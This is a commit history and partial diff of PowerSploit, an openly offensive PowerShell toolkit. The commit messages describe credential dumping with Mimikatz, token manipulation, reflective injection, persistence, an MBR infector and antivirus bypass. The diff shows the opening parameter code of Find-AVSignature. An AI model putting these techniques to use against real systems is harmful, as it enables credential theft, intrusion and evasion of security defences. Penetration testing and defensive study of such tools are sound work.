This was only ever intended to be a PoC. I'll bring this back if
requested but it exhibits duplicate functionality.
2015-11-05 13:26:05 -05:00
Matt Graeber 641eff706e Test: Ensure all scripts are not LE Unicode encoded 2015-11-05 10:36:17 -05:00
Matt Graeber d1145e0540 Re-import Invoke-Shellcode.ps1 2015-11-05 10:34:26 -05:00
Matt Graeber 81b57738ab Adding Visual Studio 2015 project file
Those who wish to load this project into VS 2015 with Adam Driscoll's
PowerShell VS extension may now do so.
2015-11-05 10:33:53 -05:00
Matt Graeber 5065810c07 Removing Metasploit integration from Invoke-Shellcode
This should have only ever been a shellcode runner. Those wishing to
integrate this with Metasploit should generate a shellcode payload with
msfvenom.
2015-11-05 10:31:40 -05:00
Matt Graeber d0fff7b637 Migrating everything back to Invoke-Shellcode.ps1. I'm done making my point now. :P 2015-11-04 14:56:46 -05:00
Matt Graeber 12ce71b9f4 Normalizing all files to ascii encoding 2015-11-04 13:48:27 -05:00
Matt Graeber 2dd1f5920d Revert "Normalizing all files to ascii encoding"
This reverts commit 5a812ce823.
2015-11-04 13:41:36 -05:00
Matt Graeber 5a812ce823 Normalizing all files to ascii encoding 2015-11-04 13:40:02 -05:00
FixTheExchange e179b2e932 Update Invoke-TokenManipulation.ps1
Removed 2 unnecessary lines.
2015-10-30 12:48:05 -05:00
FixTheExchange 17dd6835b9 Update Invoke-TokenManipulation.ps1
Windows 10 breaks the current version of Invoke-TokenManipulation.ps1 because wininit is now a protected processes.  Rather than hardcoding to a specific process to obtain a SYSTEM token, it's better to enumerate all processes running as SYSTEM and find one that works. I have updated the script to version 1.12 and added logic on lines 1689-1696 to make sure it can successfully grab a SYSTEM token necessary to function.
2015-10-30 11:38:57 -05:00
Matt Graeber 9f78286ea7 Merge pull request #77 from clymb3r/master
Fix for multi-processor systems
2015-09-30 22:07:56 -07:00
clymb3r 235af294ae Fix for multi-processor systems
Fix processor architecture detection for multi-processor systems.
2015-09-30 21:32:04 -07:00
Matt Graeber 03ed2adb56 Adding Invoke-WmiCommand 2015-09-23 15:25:39 -07:00
Matt Graeber 5ce61e40f5 Merge pull request #69 from Invoke-IR/master
Added New-VolumeShadowCopy and Remove-VolumeShadowCopy Cmdlets
2015-08-16 13:02:26 -07:00
Jared Atkinson c29f9b4743 Cleaned up Remove-VSC and New-VSC
- Changed Remove-VSC to have a single mandatory parameter (DevicePath)
- Updated New-VSC to check initial state of the VSS Service and return
VSS to its inital state after execution
2015-07-08 22:27:12 -04:00
Jared Atkinson 25934d4719 Added New-VolumeShadowCopy and Remove-VolumeShadowCopy Cmdlets 2015-07-08 16:57:31 -04:00
Chris Campbell 2153a0a0b0 Merge pull request #68 from hydrajump/get-keystrokes-headings-reorder
Fix for headings in wrong order
2015-05-11 10:13:54 -04:00
Jonathan 0045054ab0 Fix for headings in wrong order
The column headings in the log file are out of order, e.g.

```
"TypedKey","Time","WindowTitle"
"Document1 - Word","[Shift]","01-05-2015:20:53:29:28"
"Document1 - Word","[Shift][Shift]","01-05-2015:20:53:29:31"
"Document1 - Word","[Shift]","01-05-2015:20:53:29:38"
```

The "WindowTitle" should be the first column heading like this,

```
"WindowTitle","TypedKey","Time"
"Document1 - Word","[Shift]","01-05-2015:20:53:29:28"
"Document1 - Word","[Shift][Shift]","01-05-2015:20:53:29:31"
"Document1 - Word","[Shift]","01-05-2015:20:53:29:38"
```
2015-05-10 21:32:14 +02:00
Chris Campbell 5b1a7750c0 URI fix, Proxy Support, UA Update
This fixes the URI bug submitted by @enigma0x3. Thank you for the PR as well! A legacy switch is added in case anyone is relying on this script and an older meterpreter handler. 

Proxy support is added to grab the default proxy by way of a switch.

The default user-agent is grabbed from the registry instead of being a static string.

I tested this on a Windows 7 SP1 (both x86 and 64-bit) and Windows 8.1 (64-bit) with an older handler and an updated one.
2015-04-26 18:32:44 -04:00
mattifestation 130d970c2c Out-EncryptedScript uses FIPS-compliant crypto #60
Thanks, @aconite33 for the suggestion.

- TripleDESCryptoServiceProvider is now used as the crypto algorithm
because it won't break the script when FIPS compliance is enabled in the
registry.
- I actually implemented the InitializationVector parameter
- Cleaned up the output script
- Cleaned up comment-based help
2015-02-26 09:24:45 -05:00
Matt Graeber 8b6f759d12 Merge pull request #62 from clymb3r/master
Update to latest Mimikatz, add sanity checks
2015-02-17 15:41:00 -05:00
clymb3r 2e7dc43edb Update to latest Mimikatz, add sanity checks
Updated to the latest Mimikatz build. Added sanity checks to ensure that
32bit PowerShell isn't being run on a 64bit OS which will cause Mimikatz
to fail.
2015-02-16 23:16:31 -08:00
mattifestation 142afad54e Added parameters back to the original Invoke-Shellcode 2015-02-03 21:47:05 -05:00
mattifestation 59b35d1470 Moved Invoke-Shellcode
These things happen
2015-02-03 21:24:46 -05:00
Matt Graeber a574705ce2 Merge pull request #61 from clymb3r/master
Adding PEBytes parameter
2015-01-26 12:30:28 -05:00
clymb3r 93bc214659 Adding PEBytes parameter
Added PEBytes parameter for reflectively loading a PE file passed as a
byte array to the script.
2015-01-26 09:26:43 -08:00
Matt Graeber b0cdb2b754 Merge pull request #59 from clymb3r/master
Bugfix: Resolving ordinals in remote dll injection
2015-01-09 08:20:06 -05:00
clymb3r 90a05de7a6 Bugfix: Resolving ordinals in remote dll injection
Thanks to sixdub for finding and fixing a bug when resolving functions
by ordinal in remote processes.
2015-01-07 21:08:58 -08:00
mattifestation dc1a5e519f Add-Persistence bugfix
When file paths were specified, they were not being properly validated.
2014-11-17 08:24:54 -05:00
mattifestation 956e4c968a Moving all RE functionality to PowerShellArsenal
https://github.com/mattifestation/PowerShellArsenal

PowerSploit will now stay true to its roots of being a purely offensive
PowerShell module.
2014-11-16 10:26:11 -05:00
mattifestation 97034006f6 Loading of an SSP no longer requires a reboot. 2014-10-01 23:17:56 -04:00
Matt Graeber 4daac216c8 Merge pull request #56 from clymb3r/master
Added -PassThru to Invoke-TokenManipulation
2014-10-01 20:49:35 -04:00
mattifestation 0ca33b0347 Added Install-SSP and Get-SecurityPackages 2014-10-01 20:47:14 -04:00
clymb3r ba02a11687 Added -PassThru to Invoke-TokenManipulation
Thanks to Run Mariboe for the contribution to Invoke-TokenManipulation
adding the -PassThru flag for newly created processes. Version increased
to 1.11.
2014-09-28 19:29:44 -07:00
mattifestation 9d412f0d6a Updating the script style guide #2 2014-09-13 12:39:19 -04:00
mattifestation 6df4cf971b Updating the script style guide 2014-09-13 12:37:50 -04:00
mattifestation 258c760c61 Adding MBR infector Set-MasterBootRecord 2014-08-29 21:44:14 -04:00
mattifestation 2e00756b59 Removing New-Object proxy function 2014-08-09 20:26:17 -04:00
Matt Graeber 36e1e29987 Merge pull request #52 from clymb3r/master
Bug fixes to Invoke-ReflectivePEInjection
2014-07-12 07:46:32 -04:00
clymb3r 03b8d5c6b4 Bug fixes to Invoke-ReflectivePEInjection
Fixed a bug where calling GetProcAddress by ordinal instead of procedure
name failed.
Fixed a bug where reflectively loading an EXE will cause the entry
function (main()) to be called twice instead of once as expected.
Added a ForceASLR flag to force ASLR to be used even if the PE file
doesn't officially support ASLR.
Some minor other changes.
2014-07-10 22:40:01 -07:00
mattifestation b43429dd3c Removed required module statement from Capstone 2014-07-10 19:28:47 -04:00
mattifestation 225fbfbc86 Updated Get-VaultCredential name in README 2014-06-30 17:02:03 -04:00
mattifestation 8c2411ccf3 Get-VaultCredential now takes the singular form. 2014-06-30 15:20:48 -04:00
mattifestation dc3cab2c9f Invoke-DllInjection now calls RtlCreateUserThread
Calling CreateRemoteThread on lsass.

Bug fix: Invoke-DllInjection was checking the processor architecture
when it should have been validating the OS architecture. This would
cause Invoke-DllInjection to fail on a 32-bit OS with a 64-bit
processor.
2014-06-21 11:29:46 -04:00
mattifestation 29a5d48c3f Adding Mayhem module and Set-CriticalProcess 2014-06-19 20:28:50 -04:00
mattifestation 80ffa19fa3 Removing Watch-BlueScreen
This vulnerability was patched a while ago making this function largely
irrelevant.
2014-06-19 20:16:26 -04:00
mattifestation 3444a0700e Updated Get-VaultCredentials - Package SID
Package SIDs are now displayed for Win8 apps. Both the package SID and
secret key are requirements for authenticating to Win8 app servers.
2014-05-31 21:22:22 -04:00
mattifestation 890247deec Issue #43 - Adding Get-VaultCredentials
Displays Windows vault credential objects including cleartext web
credentials.
2014-05-30 21:22:31 -04:00
Chris Campbell 4567547d6d Merge pull request #49 from clymb3r/master
Update to latest Mimikatz (crash fix on Win7/8)
2014-05-20 13:52:14 -04:00
clymb3r 6e56d40662 Update to latest Mimikatz (crash fix on Win7/8)
The latest version of Mimikatz fixes a crash that happens on Windows7/8
(and server versions) after installing the latest Windows updates.
2014-05-20 09:34:09 -07:00
Matt Graeber 67ed1d71b4 Merge pull request #44 from clymb3r/master
Updated to latest Mimikatz
2014-05-05 06:16:49 -04:00
clymb3r 794f55a82b Updated to latest Mimikatz
Latest version of Mimikatz now natively supports being reflectively
loaded by Invoke-ReflectivePEInjection, updating the script to take
advantage of this new version.
2014-05-04 18:49:37 -07:00
Matt Graeber 193b005357 Merge pull request #42 from clymb3r/master
Fixing error in script
2014-04-28 20:57:56 -07:00
clymb3r 364dde11e1 Fixing error in script 2014-04-28 20:45:20 -07:00
Matt Graeber 22f984c3f1 Merge pull request #41 from clymb3r/master
Updating Invoke-Mimikatz to Mimikatz 2.0 alpha
2014-04-19 07:46:51 -04:00
clymb3r d085c5b1d7 Fixing formatting 2014-04-16 21:16:02 -07:00
clymb3r f03ab1444d Fixing garbage put in by merge 2014-04-16 21:11:34 -07:00
clymb3r b783b459c1 Merge branch 'master' of https://github.com/mattifestation/PowerSploit
Conflicts:
	Recon/Get-ComputerDetails.ps1
	Recon/Recon.psd1
2014-04-16 21:02:50 -07:00
clymb3r 47b90647c1 Updating Invoke-Mimikatz to Mimikatz 2.0 alpha 2014-04-16 20:47:14 -07:00
Chris Campbell 946328cf9e Missing File Names
Added printers.xml and drives.xml to the search.
2014-03-21 13:22:33 -04:00
mattifestation 5fabddcf1d Fixed error in PowerSploit ADS removal one-liner 2014-03-16 10:09:52 -04:00
mattifestation 202e8f4b36 Adding internal recon/privesc privesc functions #40
Added the following recon functions written by Joe Bialek
(@JosephBialek):

- Find-4648Logons
- Find-4624Logons
- Find-AppLockerLogs
- Find-PSScriptsInPSAppLog
- Find-RDPClientConnections
- Get-ComputerDetails (Combines all of the above functions into a single
function)
2014-03-16 10:02:37 -04:00
Chris Campbell 1798918edf Bug fix of from v3 XML expanding to $Count
This bug fix was from @jakxx
2014-03-05 00:40:02 -05:00
Chris Campbell 49c9f04533 Update to version 2.4.0 from @jakxx
Removed unnecessary comment, merged update with printers.xml and drives.xml from @jackxx
2014-03-05 00:32:40 -05:00
clymb3r 77bcb336e0 Separating out functions & bug fix
All info gathering pieces of this script can now be called individually.
Fixed a bug where the user SID wasn't being converted to a username in
the RDP function.
2014-03-02 21:18:28 -08:00
mattifestation b450a70dbf Added Get-VolumeShadowCopy and Mount-VolumeShadowCopy 2014-03-01 18:26:31 -05:00
mattifestation 1df850208e Consolidated Persistence module functions into Persistence.psm1
It doesn't make sense to have these as separate ps1 files.
2014-02-23 10:35:55 -05:00
mattifestation bbd382e52a #31 Persistence module function nouns are now singular
The function names New-UserPersistenceOption and
New-ElevatedPersistenceOptionNew-ElevatedPersistenceOption now conform
to PowerShell naming best practices.
2014-02-23 10:35:55 -05:00
Matt Graeber 28790b5a08 Merge pull request #32 from obscuresec/master
Minor fixes for compatibility between versions
2014-02-21 23:26:21 -05:00
Chris Campbell 3047ccfe32 Update Get-GPPPassword.ps1 2014-02-21 22:37:23 -05:00
Chris Campbell 7ee66855f3 Update Get-GPPPassword.ps1 2014-02-21 22:34:11 -05:00
Chris Campbell 22572d6e7d Changed the direction of XML parsing
Used Select-XML to ensure compatibility with v2
2014-02-21 22:33:27 -05:00
Chris Campbell 770fe8ff10 Update Get-GPPPassword.ps1
Iterate version.
2014-02-21 15:26:49 -05:00
Chris Campbell 313d80373c Update Get-GPPPassword.ps1 2014-02-21 15:19:55 -05:00
Chris Campbell 261aaf6302 Update Get-GPPPassword.ps1
Bug fix of variables.
2014-02-21 15:09:43 -05:00
mattifestation 24fc1b6b6c Major Revision of Get-GPPPasswords
Thanks @obscuresec!
2014-02-21 05:59:58 -05:00
clymb3r 308042f493 Adding Get-ComputerDetails recon script
Get-ComputerDetails is a recon script which pulls a variety of useful
information off a computer which might later be useful by an attacker.
This includes:
Logons
AppLocker process start logs
PowerShell logs to find scripts run
RDP Client saved servers
2014-02-20 17:47:27 -08:00
mattifestation 22f0c1b13a Changed Inject-LogonCredentials name to Invoke-CredentialInjection 2014-02-12 19:44:12 -05:00
Matt Graeber 331d54eeaf Merge pull request #28 from clymb3r/master
Inject-LogonCredentials has been renamed to Invoke-CredentialInjection.
2014-02-12 19:40:32 -05:00
clymb3r b684da050a Inject-LogonCredentials has been renamed to Invoke-CredentialInjection.
Added a check to ensure the script isn't being run from Session0 with
the "NewWinLogon" flag. This flag does not work in Session0 because
winlogon.exe tries to load stuff from user32.dll which requires a
desktop is present. This is not possible in Session0 because there is no
desktop/GUI, so it causes winlogon to load and then immediately close
with error code c0000142 indicating a DLL failed to initialize. There is
no way to fix this that I know of, if you need to run the script from
Session0 use the "ExistingWinLogon" flag.
2014-02-12 13:52:41 -08:00
mattifestation 92fcfdc384 Add Get-Entropy 2014-02-03 18:37:36 -05:00
mattifestation c5168cdba6 Removed mimikatz.
This doesn't need to reside in PowerSploit. Those that are truly
paranoid should validate that the embedded executable in
Invoke-Mimikatz.ps1 is indeed mimikatz.

This was causing AV to flag upon downloading PowerSploit.
2014-02-03 17:13:41 -05:00
Matt Graeber d9ca5357e4 Merge pull request #26 from obscuresec/master
Update Invoke-ReverseDnsLookup.ps1
2014-01-30 14:38:50 -08:00
Chris Campbell 14780a5678 Update Invoke-ReverseDnsLookup.ps1
Added pipeline support and verbose statement.
2014-01-30 17:13:25 -05:00
mattifestation 7c51e9331b Generate a non-terminating error if there's a binding/framework version mismatch
The user should at least be made aware if they're using an unsupported
framework library version.
2014-01-25 11:48:53 -05:00
mattifestation 22cbc47642 Upgraded Capstone framework libs to 2.0
These are the compiled libs straight from
http://www.capstone-engine.org/download.html
2014-01-25 11:47:09 -05:00
mattifestation 7f0267db7c Disable non-standard cmdlet verb checking 2014-01-25 11:45:59 -05:00
mattifestation 3d564121d7 Capstone.dll returns the correct number of operands now. 2014-01-19 18:53:17 -05:00
mattifestation 5fede76351 Capstone module now incorporates framework 2.0RC1
* I also moved the contents of Get-CSDisassembly.ps1 into Capstone.psm1
2014-01-19 13:56:48 -05:00
Matt Graeber 4f5faf672f Merge pull request #25 from clymb3r/master
Bug fixes for Invoke-TokenManipulation
2014-01-11 15:02:48 -08:00
clymb3r bb41ab98ca Bug fixes for Invoke-TokenManipulation
Processes could not be started when the script was being run from
Session 0. The fix is to use the CreateProcessAsUserW function when
running in Session 0. This API requires SeAssignPrimaryTokenPrivilege
priviege, so for non-session0 calls I still use CreateProcessWithTokenW
which does not require special privileges.
2014-01-10 21:41:44 -08:00
mattifestation 5bca2c3087 Updated usage documentation 2014-01-04 07:54:06 -05:00
mattifestation c3cea2fb61 Updated C# Capstone binding to latest version 2014-01-04 07:53:49 -05:00
mattifestation 9f41edcf82 Fixes #23 - $Password was not being cleared 2014-01-01 13:10:06 -05:00
mattifestation 206fb70a0c Adding 64-bit lib file 2013-12-26 19:35:32 -05:00
mattifestation 7009f92ef3 Major update to Capstone disassembly module
* Refactor of C# capstone binding
* Now compatible in 32 and 64-bit PowerShell
2013-12-26 19:30:41 -05:00
mattifestation 7157507d99 Added Capstone Engine PowerShell binding
Consider this to be an alpha release until the C# binding is published.
2013-12-22 12:46:39 -05:00
mattifestation 46baff5ef2 Added Inject-LogonCredentials to README 2013-11-18 06:30:19 -05:00
Matt Graeber 7de1dd6df7 Merge pull request #21 from clymb3r/master
Adding Inject-LogonCredentials
2013-11-18 03:26:55 -08:00
clymb3r 1503375bfb Adding Inject-LogonCredentials 2013-11-17 21:13:15 -08:00
mattifestation 237d362acf Normalized all scripts to ASCII encoding 2013-11-13 21:01:02 -05:00
mattifestation 306a84fe81 Get-ILDisassembly now accepts ConstructorInfo objects 2013-11-07 08:04:16 -05:00
mattifestation 5b4b9924d5 Get-ILDisassembly now displays metadata tokens.
* Having metadata tokens displayed in output helps with reverse
engineering because you can pass metadata tokens to
System.Reflection.Module.ResolveMember and then easily interact with the
member in question.
* I also fixed a bug when displaying integer constants. I wasn't doing
an endian swap.
2013-11-07 07:28:53 -05:00
Matt Graeber 20f0a5cd96 Merge pull request #19 from clymb3r/master
Updated Invoke-TokenManipulation help
2013-11-04 13:56:47 -08:00
clymb3r 5af0589e8f Updated Invoke-TokenManipulation help 2013-11-04 08:19:28 -08:00
mattifestation 22f232920b Added Invoke-TokenManipulation to README.md 2013-11-04 05:51:33 -05:00
Matt Graeber 8af97c6e24 Merge pull request #18 from clymb3r/master
Adding Invoke-TokenManipulation
2013-11-04 02:43:54 -08:00
clymb3r 7a6e8a0f20 Adding Invoke-TokenManipulation 2013-11-03 22:54:36 -08:00
webstersprodigy c4cd73a9cf Fix for hostfiles option in powershell 2 2013-11-03 22:48:50 -08:00
mattifestation a40e79da93 Updated usage tip 2013-11-03 22:48:50 -08:00
mattifestation 1e4dc7b49f Added a usage tip
Added a one-liner for PSv3 that will remove the annoying warnings that
are displayed when importing scripts downloaded from the Internet.
2013-11-03 22:48:50 -08:00
mattifestation 05cbdab96e Slight clarification to license statement 2013-11-03 22:48:49 -08:00
mattifestation 8c13faaf51 Modified license verbiage 2013-11-03 22:48:49 -08:00
mattifestation cf64b10d5c Added exfil script synopses to README.md
Descriptions for Invoke-NinjaCopy and Invoke-Mimikatz were added to the
readme.
2013-11-03 22:48:48 -08:00
mattifestation 70e5b8375b Fixed minor logic bug in C type undecorated symbols 2013-11-03 22:48:48 -08:00
mattifestation 9fbb4ec3c3 Added Get-LibSymbols
Get-LibSymbols parses Microsoft .lib files and displays decorated and
undecorated symbols.
2013-11-03 22:48:47 -08:00
Matt Graeber 404d2480ba Merge pull request #17 from webstersprodigy/portscan-hostlist-fix
Fix for hostfiles option in powershell 2
2013-10-23 01:44:06 -07:00
webstersprodigy 54971370cf Fix for hostfiles option in powershell 2 2013-10-22 21:04:24 -07:00
mattifestation 737fd832e0 Updated usage tip 2013-10-05 08:39:25 -04:00
mattifestation babad35dae Added a usage tip
Added a one-liner for PSv3 that will remove the annoying warnings that
are displayed when importing scripts downloaded from the Internet.
2013-10-05 08:35:48 -04:00
mattifestation a6c0c940bf Slight clarification to license statement 2013-10-05 08:21:07 -04:00
Matt Graeber 50c6fad88e Merge pull request #16 from clymb3r/master
Switching to ANSI from UTF8 encoding
2013-10-05 04:28:24 -07:00
clymb3r d269eec01d Switching to ANSI from UTF8 encoding
Scripts now work in 2008r2. I thought I tested before uploading but
something broke somehow... Now the scripts work in 2008r2 and win8+
2013-10-01 21:25:36 -07:00
mattifestation 511b682620 Modified license verbiage 2013-10-01 17:47:28 -04:00
mattifestation 70a3a43f24 Added exfil script synopses to README.md
Descriptions for Invoke-NinjaCopy and Invoke-Mimikatz were added to the
readme.
2013-10-01 17:41:54 -04:00
Matt Graeber 6ad050fe7a Merge pull request #15 from clymb3r/master
Adding GitIgnore, adding Invoke-NinjaCopy and Invoke-Mimikatz
2013-10-01 14:29:34 -07:00
clymb3r 59cd183607 Adding Invoke-Mimikatz and Invoke-Ninjacopy 2013-10-01 09:47:05 -07:00
clymb3r b17272eb98 Adding gitignore file
Don't want gigantic ipch files from visual studio (among other useless
files) to be uploaded.
2013-10-01 09:46:42 -07:00
Matt Graeber 23850a6337 Merge pull request #14 from clymb3r/master
Fixes for Windows 8.1/.NET 4.5
2013-10-01 03:12:54 -07:00
clymb3r 1291abdae3 Fixes for Windows 8.1/.NET 4.5
.NET 4.5 introduced breaking changes in the way Marshalling works. Added
a fix so ReflectivePEInjection works with Windows 8.1/.NET4.5.
2013-09-30 22:32:57 -07:00
mattifestation ec39ee2113 Fixed minor logic bug in C type undecorated symbols 2013-09-30 06:43:03 -04:00
mattifestation e62121ea27 Added Get-LibSymbols
Get-LibSymbols parses Microsoft .lib files and displays decorated and
undecorated symbols.
2013-09-29 17:12:16 -04:00
Matt Graeber 65cd074eaf Merge pull request #13 from clymb3r/master
Call to DllMain when unloading reflective DLL
2013-09-04 04:54:15 -07:00
clymb3r 5e1f6ac29a Call to DllMain when unloading reflective DLL
Prior to this fix, DllMain with the ProessDetach flag was not called
when unloading the reflectively loaded DLL. This was causing very weird
crashes in the Invoke-NinjaCopy script which is built on this script.
This should fix the crash.
2013-09-03 20:10:18 -07:00
mattifestation 6807da424f Added ProcessModuleTrace cmdlets
Added *-ProcessModuleTrace cmdlets to trace details when modules are
loaded into a process. These can be useful for malware analysis.
2013-08-29 19:56:01 +00:00
259 changed files with 80206 additions and 12908 deletions
+214
View File
@@ -0,0 +1,214 @@
#################
## Eclipse
#################
*.pydevproject
.project
.metadata
bin/
tmp/
*.tmp
*.bak
*.swp
*~.nib
local.properties
.classpath
.settings/
.loadpath
# External tool builders
.externalToolBuilders/
# Locally stored "Eclipse launch configurations"
*.launch
# CDT-specific
.cproject
# PDT-specific
.buildpath
#################
## Visual Studio
#################
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
# User-specific files
*.suo
*.user
*.sln.docstates
# Build results
[Dd]ebug/
[Rr]elease/
build/
[Bb]in/
[Oo]bj/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
*_i.c
*_p.c
*.ilk
*.meta
*.obj
*.pch
*.pdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.log
*.scc
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opensdf
*.sdf
*.cachefile
# Visual Studio profiler
*.psess
*.vsp
*.vspx
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# NCrunch
*.ncrunch*
.*crunch*.local.xml
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.Publish.xml
*.pubxml
# NuGet Packages Directory
## TODO: If you have NuGet Package Restore enabled, uncomment the next line
#packages/
# Windows Azure Build Output
csx
*.build.csdef
# Windows Store app package directory
AppPackages/
# Others
sql/
*.Cache
ClientBin/
[Ss]tyle[Cc]op.*
~$*
*~
*.dbmdl
*.[Pp]ublish.xml
*.pfx
*.publishsettings
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file to a newer
# Visual Studio version. Backup files are not needed, because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
# SQL Server files
App_Data/*.mdf
App_Data/*.ldf
#############
## Windows detritus
#############
# Windows image file caches
Thumbs.db
ehthumbs.db
# Folder config file
Desktop.ini
# Recycle Bin used on file shares
$RECYCLE.BIN/
# Mac crap
.DS_Store
#############
## Python
#############
*.py[co]
# Packages
*.egg
*.egg-info
dist/
build/
eggs/
parts/
var/
sdist/
develop-eggs/
.installed.cfg
# Installer logs
pip-log.txt
# Unit test / coverage reports
.coverage
.tox
#Translations
*.mo
#Mr Developer
.mr.developer.cfg
+3 -60
View File
@@ -1,10 +1,10 @@
@{
@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'AntivirusBypass.psm1'
# Version number of this module.
ModuleVersion = '1.0.0.0'
ModuleVersion = '3.0.0.0'
# ID used to uniquely identify this module
GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'
@@ -12,9 +12,6 @@ GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'
# Author of this module
Author = 'Matthew Graeber'
# Company or vendor of this module
CompanyName = ''
# Copyright statement for this module
Copyright = 'BSD 3-Clause'
@@ -24,64 +21,10 @@ Description = 'PowerSploit Antivirus Avoidance/Bypass Module'
# Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '2.0'
# Name of the Windows PowerShell host required by this module
# PowerShellHostName = ''
# Minimum version of the Windows PowerShell host required by this module
# PowerShellHostVersion = ''
# Minimum version of the .NET Framework required by this module
# DotNetFrameworkVersion = ''
# Minimum version of the common language runtime (CLR) required by this module
# CLRVersion = ''
# Processor architecture (None, X86, Amd64) required by this module
# ProcessorArchitecture = ''
# Modules that must be imported into the global environment prior to importing this module
# RequiredModules = @()
# Assemblies that must be loaded prior to importing this module
# RequiredAssemblies = @()
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
# ScriptsToProcess = ''
# Type files (.ps1xml) to be loaded when importing this module
# TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
# FormatsToProcess = @()
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
# NestedModules = @()
# Functions to export from this module
FunctionsToExport = '*'
# Cmdlets to export from this module
CmdletsToExport = '*'
# Variables to export from this module
VariablesToExport = ''
# Aliases to export from this module
AliasesToExport = ''
# List of all modules packaged with this module.
ModuleList = @(@{ModuleName = 'AntivirusBypass'; ModuleVersion = '1.0.0.0'; GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'})
# List of all files packaged with this module
FileList = 'AntivirusBypass.psm1', 'AntivirusBypass.psd1', 'Find-AVSignature.ps1', 'Usage.md'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
# HelpInfo URI of this module
# HelpInfoURI = ''
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
}
}
+1 -1
View File
@@ -1 +1 @@
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
+88 -88
View File
@@ -5,11 +5,11 @@ function Find-AVSignature
Locate tiny AV signatures.
PowerSploit Function: Find-AVSignature
Authors: Chris Campbell (@obscuresec) & Matt Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
PowerSploit Function: Find-AVSignature
Authors: Chris Campbell (@obscuresec) & Matt Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
@@ -37,19 +37,19 @@ Optionally specifies the directory to write the binaries to.
.PARAMETER BufferLen
Specifies the length of the file read buffer . Defaults to 64KB.
Specifies the length of the file read buffer . Defaults to 64KB.
.PARAMETER Force
Forces the script to continue without confirmation.
Forces the script to continue without confirmation.
.EXAMPLE
PS C:\> Find-AVSignature -Startbyte 0 -Endbyte max -Interval 10000 -Path c:\test\exempt\nc.exe
PS C:\> Find-AVSignature -StartByte 10000 -EndByte 20000 -Interval 1000 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run2 -Verbose
PS C:\> Find-AVSignature -StartByte 16000 -EndByte 17000 -Interval 100 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run3 -Verbose
PS C:\> Find-AVSignature -StartByte 16800 -EndByte 16900 -Interval 10 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run4 -Verbose
PS C:\> Find-AVSignature -StartByte 16890 -EndByte 16900 -Interval 1 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run5 -Verbose
Find-AVSignature -Startbyte 0 -Endbyte max -Interval 10000 -Path c:\test\exempt\nc.exe
Find-AVSignature -StartByte 10000 -EndByte 20000 -Interval 1000 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run2 -Verbose
Find-AVSignature -StartByte 16000 -EndByte 17000 -Interval 100 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run3 -Verbose
Find-AVSignature -StartByte 16800 -EndByte 16900 -Interval 10 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run4 -Verbose
Find-AVSignature -StartByte 16890 -EndByte 16900 -Interval 1 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run5 -Verbose
.NOTES
@@ -63,10 +63,12 @@ http://www.exploit-monday.com/
http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2
#>
[CmdletBinding()] Param(
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True)]
[ValidateRange(0,4294967295)]
[UInt32]
[UInt32]
$StartByte,
[Parameter(Mandatory = $True)]
@@ -75,23 +77,21 @@ http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2
[Parameter(Mandatory = $True)]
[ValidateRange(0,4294967295)]
[UInt32]
[UInt32]
$Interval,
[String]
[ValidateScript({Test-Path $_ })]
[ValidateScript({Test-Path $_ })]
$Path = ($pwd.path),
[String]
$OutPath = ($pwd),
[ValidateRange(1,2097152)]
[UInt32]
$BufferLen = 65536,
[ValidateRange(1,2097152)]
[UInt32]
$BufferLen = 65536,
[Switch] $Force
)
#test variables
@@ -99,88 +99,88 @@ http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2
$Response = $True
if (!(Test-Path $OutPath)) {
if ($Force -or ($Response = $psCmdlet.ShouldContinue("The `"$OutPath`" does not exist! Do you want to create the directory?",""))){new-item ($OutPath)-type directory}
}
}
if (!$Response) {Throw "Output path not found"}
if (!(Get-ChildItem $Path).Exists) {Throw "File not found"}
[Int32] $FileSize = (Get-ChildItem $Path).Length
